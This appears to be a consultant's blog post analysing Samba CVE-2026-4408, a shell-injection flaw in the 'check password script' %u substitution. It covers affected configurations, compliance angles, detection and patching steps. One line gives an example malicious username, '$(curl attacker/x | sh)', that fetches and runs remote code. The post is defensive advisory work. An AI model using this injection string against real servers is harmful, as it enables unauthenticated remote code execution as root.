CVE-2026-4408: Samba SAMR DCE/RPC RCE via `check password script` with `%u` — when a twenty-year-old shell substitution pattern goes unauthenticated again

TL;DR — the 90-second summary

What was published?

CVE-2026-4408 (Samba security advisory 29 May 2026, CVSS 9.0 Critical). Class: remote code execution via shell injection. Mechanism: the SAMR DCE/RPC services SamValidatePasswordChange and SamValidatePasswordReset pass the client-supplied username without escaping into the check password script from smb.conf, when that script is configured with the %u substitution. Shell metacharacters in the username are executed in the shell of the service user.

How bad?

Critical (CVSS 9.0). Reach: code execution as the user under which samba-dcerpcd runs — typically root in a standalone-service configuration. Preconditions are (a) reachability of the SAMR RPC endpoints over NCACN_IP_TCP, (b) check password script with %u substitution configured in smb.conf, and (c) samba-dcerpcd operated in standalone service mode (not the on-demand default).

Which Samba versions are affected?

All currently maintained Samba versions that ship samba-dcerpcd (introduced in Samba 4.16.0, 2022). The critical configuration combination is „samba-dcerpcd operated as system service“ (standalone mode with rpc start on demand helpers = false) plus „check password script with %u substitution“; the Samba security page lists the exact fix levels — in any case lift to the fix level published by Samba for the relevant branch.

Am I affected?

I do not deliver Samba file server stacks. You are affected if Samba runs on one of your platforms or in your office network in one of these positions: a Samba file server (workgroup or member server, common in the German Mittelstand as a central file server), a classic (non-AD) domain controller on a Samba base (now rare, but present in grown setups), and in each of these cases only if (a) samba-dcerpcd runs as a system service and (b) smb.conf contains a check password script with %u substitution. AD domain controllers (Samba in AD-DC mode) are not affected, because the password validation path is different there.

Immediate mitigation?

Three steps. First, check whether a check password script is configured in smb.conf (testparm -sv | grep -i 'check password script'). If not: not affected, no operational pressure. Second, if yes: check whether %u appears in the script path or arguments. If not: also not affected. Third, if yes: two paths — (a) lift to the Samba fix level (cleanest path, covers future variants as well); (b) as a stopgap, remove the %u substitution from the script invocation and read the username instead from a separate, sanitised source in the script, or disable the script altogether until the patch lands.

Severity?

See hero badge critical. Active exploitation in the wild is, as of 30 May, not publicly documented; CISA KEV listing has not happened. Methodologically identical to CVE-2007-2447 (Samba „username map script“ with Metasploit module) — the probability of an exploit module within weeks is high.

What happened

The Samba team published a security advisory for CVE-2026-4408 on 29 May 2026 — a remote code execution flaw in the SAMR DCE/RPC path with a CVSS 3.1 score of 9.0 (Critical). The bug sits in a non-obvious path: Samba offers the calls SamValidatePasswordChange and SamValidatePasswordReset on the SAMR DCE/RPC service over NCACN_IP_TCP. Both calls accept a username and password from the client and forward those values to the check password script configured in smb.conf — an extension more than twenty years old, which allows administrators an external password-policy hook (for example, to check new passwords against an internal complexity scheme or a blocklist before they are accepted).

The actual bug arises through the %u substitution. Samba allows the use of %u in the check password script as a placeholder for the username — and this placeholder is replaced by the client-controlled name before the shell call, without shell metacharacters (;, |, &&, backticks, $()) being removed or quoted. An attacker can send via an RPC call a username such as $(curl attacker/x | sh), and Samba executes the substring in the shell of the service user when the script is invoked. Since samba-dcerpcd on typical distributions is started by systemd as a system service with root rights, this is RCE as root.

The patches close the flaw through consistent quoting of the substitution values when the script is invoked. As a complementary architectural recommendation, Samba advises that the check password script should no longer trust %u values directly at all, but read the username from a separate environment variable filtered through an allowlist beforehand.

Technical analysis

Structurally CVE-2026-4408 is a teaching case: the same pattern as CVE-2007-2447 („username map script“), only on a different RPC surface and eighteen years later. CVE-2007-2447 had the same mechanism in the username map script configuration: username substitution without quoting, invocation in the shell, RCE as the service user. That pattern was standardised in a Metasploit module (exploit/multi/samba/usermap_script) and is to this day one of the best-known Samba exploits in the pentest world. The symmetry to today’s case is methodologically interesting — and uncomfortable — because it shows that the „substitution in shell command“ anti-pattern has remained unnoticed in the Samba codebase across two decades in several places.

The second methodological point sits in the architectural choice around samba-dcerpcd. The component was introduced with Samba 4.16.0 (2022) as a standalone DCE/RPC helper binary. In the default configuration samba-dcerpcd runs „on demand“ — it is spawned per connection from smbd or winbind --np-helper to serve named-pipe-based DCE/RPC services. It can additionally be operated in standalone mode as a long-lived system service, but this requires explicit configuration: rpc start on demand helpers = false must be set in smb.conf, and the distribution must provide a service unit for the standalone run. The Samba CVE-2026-4408 description explicitly notes that the critical configuration variant is the one with „samba-dcerpcd started as system service“ plus „check password script with %u“. In the on-demand mode the code flaw is methodologically the same, but the blast radius in the long-lived system service is broader, because process state persists across connections.

Third, the authentication question. The SAMR DCE/RPC endpoints can, depending on configuration, allow anonymous bind — typical of classic workgroup file servers that offer SAMR for self-disclosure (list of shares, username resolution). In this configuration the attack is unauthenticated. In hardened setups with restrict anonymous = 2 and explicit SMB auth requirement for SAMR, the attacker needs at least a machine or service account authentication — which raises the bar for outside attacks, but is barely a hurdle for insider lateral movement.

The link to the broader May 2026 CVE wave (see today’s Linux Kernel collection post and the Samba/RPM block from the Red Hat drop) is rather temporal than causal. What is visible: foundational components of the Linux server world — Samba, RPM, OpenShift Router, Keycloak — get patches in dense succession, each one triggering reflexes in supply-chain and patch-policy discipline.

What this means for the Mittelstand

I do not deliver Samba file server stacks — my platform track is TYPO3, Sylius and Symfony, not central file storage. In the broader German Mittelstand IT landscape Samba is, however, omnipresent: every second mid-sized company with its own office network has a Samba file server somewhere (often on Debian, Ubuntu, RHEL or Rocky), often as a replacement for or complement to a Windows file server. The critical question for you as an operator is therefore concrete: does a check password script with %u substitution run on your file server?

In practice I see three typical configurations in which %u appears. First, grown setups with a self-built password-policy hook that checks against an in-house dictionary (common in IT departments that wanted to run their own password policy before Active Directory). Second, setups with a central LDAP backend where the check password script serves as a bridge to the LDAP password validator and needs the %u username for the LDAP bind DN. Third, logging hooks that write every password validation attempt into an audit file and use %u as the identifier. In all three cases the flaw is present once the configuration contains %u.

On the compliance side the flaw touches multiple axes. GDPR Art. 32 requires „technical measures appropriate to the risk“ — an unpatched critical RCE on a file server with personal data does not meet this requirement; under Recital 75 the incident may be reportable once a concrete exploitation is demonstrable. NIS-2 Art. 21 demands concrete patch discipline and asset inventory for mid-sized enterprises in the relevant sectors; a Samba file server not carried in the SBOM is a finding at this point. KRITIS sectors (especially healthcare, energy, transport) must additionally mirror the finding against the relevant sector-specific security catalogues — BSI B3S/KritisV.

Operationally — and this is the Mittelstand-specific point — the inventory is the actual work. Anyone without a complete audit of the smb.conf files of their server estate in the last five years does not reliably know today whether %u sits anywhere. A simple Ansible one-liner across the server inventory answers the question within an hour — anyone without an inventory gets the answer over several hours of manual research.

What this means for technical development

Architecturally CVE-2026-4408 is a reminder of three disciplines that in the modern server world often count as „settled“ and are not.

First, shell substitution is never safe by default. Every configuration option that substitutes an external value into a shell command line must be quoted explicitly — and the quoting must sit in the component itself, not in the responsibility of the configuring administrator. Samba learned this with username map script in 2007 and with check password script in 2026 again. The lesson for your own software development: every substitution layer that works with external input belongs in a code review with the explicit question „where could a shell metacharacter slip through“. That applies to PHP exec() wrappers, Python subprocess calls with shell=True, Node.js child_process.exec, Go exec.Command with shell layer — the list is long.

Second, architectural changes enlarge blast radii quietly. The switch from „SAMR in the forked subprocess“ to „SAMR in the long-lived system service“ was a clean modernisation decision. It had the side effect that an RCE in the SAMR path now hits a root service, not a short-lived worker. Such architectural switches should trigger an explicit question „does the privilege boundary shift“ in a threat model — and if yes, with which consequences. That question does not stand in the Samba release notes explicitly; it should have.

Third, old anti-patterns are not finished just because a patch is old. The username map script/check password script pattern has been known since 2007. That the same class appears in 2026 again is not a failing of the maintainers (Samba has a good security track record), but an indication that substitution layers must be carried as their own class in the audit sweep. Anyone maintaining their own codebase should once a year run a grep -r '%u\|%U\|$user\|substitut' . across the configuration layers and check each find against the quoting line.

Concrete recommendation

In this order. First, inventory today: through the server inventory (Ansible, Puppet, SaltStack, in an emergency a wiki list) identify each Samba server and check whether samba-dcerpcd runs as a system service (systemctl is-active samba-dcerpcd) and whether smb.conf contains a check password script with %u substitution (testparm -sv 2>/dev/null | grep -A1 -i 'check password script'). Second, patch run for the affected hosts: lift to the Samba fix level delivered by the respective distribution — for Debian/Ubuntu via apt, for RHEL/Rocky/Alma via dnf, for Wolfi container images pull the new base image tag and rebuild the container. Third, stopgap for hosts that cannot patch immediately: temporarily disable the check password script (comment out check password script = in smb.conf), restart Samba, set an entry in the logging pipeline noting that the password policy is no longer validated script-side until the patch run. Fourth, logging sweep over the last 30 days: check SAMR RPC calls in the Samba audit logs for unusual username strings (shell metacharacters, unusually long strings, URL substrings). If you run Falco or another runtime detection on the file servers, check in parallel for unusual process spawns out of samba-dcerpcd. Fifth, medium-term: replace every %u substitution in your own Samba configuration with a pattern that reads the username from an environment variable and filters it through an allowlist in the script before further use.

If these steps do not run from your own capacity, talk to me: I deliver platforms in which Samba and identity infrastructure components are kept in a continuous SBOM and patch process, not as an annual cleanup action.

This post reflects my technical and strategic assessment. It does not replace legal advice or a data protection impact assessment.

Sources

• Samba Project — CVE-2026-4408 Security Advisory (29 May 2026)
• NVD — CVE-2026-4408 (as of 30 May 2026)
• OpenCVE — CVE-2026-4408 detail page (as of 30 May 2026)
• Samba Project — CVE-2007-2447 Security Advisory (historical context, „username map script“, May 2007)